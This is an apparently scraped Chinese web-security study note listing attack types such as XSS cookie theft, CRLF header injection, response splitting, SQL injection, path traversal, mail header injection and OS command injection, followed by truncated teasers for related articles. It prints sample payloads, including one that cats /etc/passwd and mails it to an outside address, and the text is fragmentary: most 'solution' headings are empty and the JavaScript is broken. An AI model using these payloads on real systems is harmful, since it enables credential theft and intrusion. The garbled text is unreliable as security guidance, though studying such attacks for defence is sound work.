攻擊方式：
正常請求：
正常顯示：
攻擊請求：
攻擊顯示：
攻擊方式：
解決方案：
攻擊方式：
解決方案：
攻擊方式：
如下：
var content = escape(document.cookie);
document.write("
document.write(content);
document.write("/>
");
攻擊方式：
%0d%0a 代表 http 報文中的換行符，緊接著的是可強制將攻擊者**（http: 的會話 id 設定成 sid=123456789 的 set-cookie 首部字段。首部字段 set-cookie 已生效，因此攻擊者可指定修改任意的 cookie 資訊。通過和會話固定攻擊（攻擊者可使用指定的會話 id）攻擊組合，攻擊者可偽裝成使用者。
解決方案：
攻擊方式：
http 響應截斷攻擊是用在 http 首部注入的一種攻擊。要將兩個 %0d%0a%0d%0a 併排插入字串後傳送。利用這兩個連續的換行就可作出 http 首部與主體分隔所需的空行了，這樣就能顯示偽造的主體，達到攻擊目的。
解決方案：
攻擊方式：
正常請求：
正常執行：
select * from booktbl where author = 'haha' and flag = 1;
攻擊請求：
攻擊顯示：
select * from booktbl where author = 'haha' --』 and flag = 1;
flag = 1 的條件被忽略
攻擊方式：
通過請求返回日誌檔案
查詢字段為了讀取攻擊者盯上的 /etc/passwd 檔案，會從 /www/log/ 目錄開始定位相對路徑。如果這份 read.php 指令碼接受對指定目錄的訪問請求處理，那原本不公開的檔案就存在可被訪問的風險。
攻擊方式：
[email protected]%0d%0abcc: [email protected]
%0d%0a 在郵件報文中代表換行符。一旦諮詢表單所在的 web 應用接收了這個換行符，就可能實現對 bcc 郵件位址的追加傳送，而這原本是無法指定的。
bob @ hackr.jp%0d%0a%0d%0atest message
使用兩個連續的換行符就有可能篡改郵件文字內容並傳送。
再以相同的方法，就有可能改寫 to 和 subject 等任意郵件首部，或向文字新增附件等動作。
攻擊方式：
核心**：
my $adr = $q->param('mailaddress');
open(mail, "| /usr/sbin/sendmail $adr");
print mail "from: info @ example.com\n";
當傳入 mailaddress 引數為 「; cat /etc/passwd | mail hack @ example.jp」
會執行下面的語句：
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
將含有 linux 賬戶資訊 /etc/passwd 的檔案，就以郵件形式傳送給了 hack @ example.jp。
xss攻擊解決方案
xss攻擊 全稱跨站指令碼攻擊，是為不和層疊樣式表 cascading style sheets,css 的縮寫混淆，故將跨站指令碼攻擊縮寫為xss，xss是一種在web應用中的計算機安全漏洞，它允許惡意web使用者將 植入到提供給其它使用者使用的頁面中。web環境 表單輸入框輸入以下攻擊指令碼,提...
DDOC攻擊解決方案
概述 ddos攻擊通過大量合法的請求占用大量網路資源，以達到癱瘓網路的目的。開啟iis，伺服器頻寬使用流量馬上上公升，與被ddos攻擊相反，ddos攻擊是不斷接收到大量的資料，php ddos則是對外傳送大量的資料報，造成伺服器網路堵塞，此時伺服器可能會掉包嚴重或者表現為經常性的斷線。防範方法 1 ...
防SSLtrip攻擊解決方案
由於目前一種專門針對ssl https的新型攻擊工具在網上廣泛傳播，嚴重影響ssl https所保護的使用者身份等敏感資訊資料的安全性。鑑於我國重要資訊系統廣泛使用ssl https技術用於敏感資訊傳輸保護，為防止重大安全事件發生，很多資訊保安監管機構紛紛發文要求進一步推進等級保護安全整改 建設工作...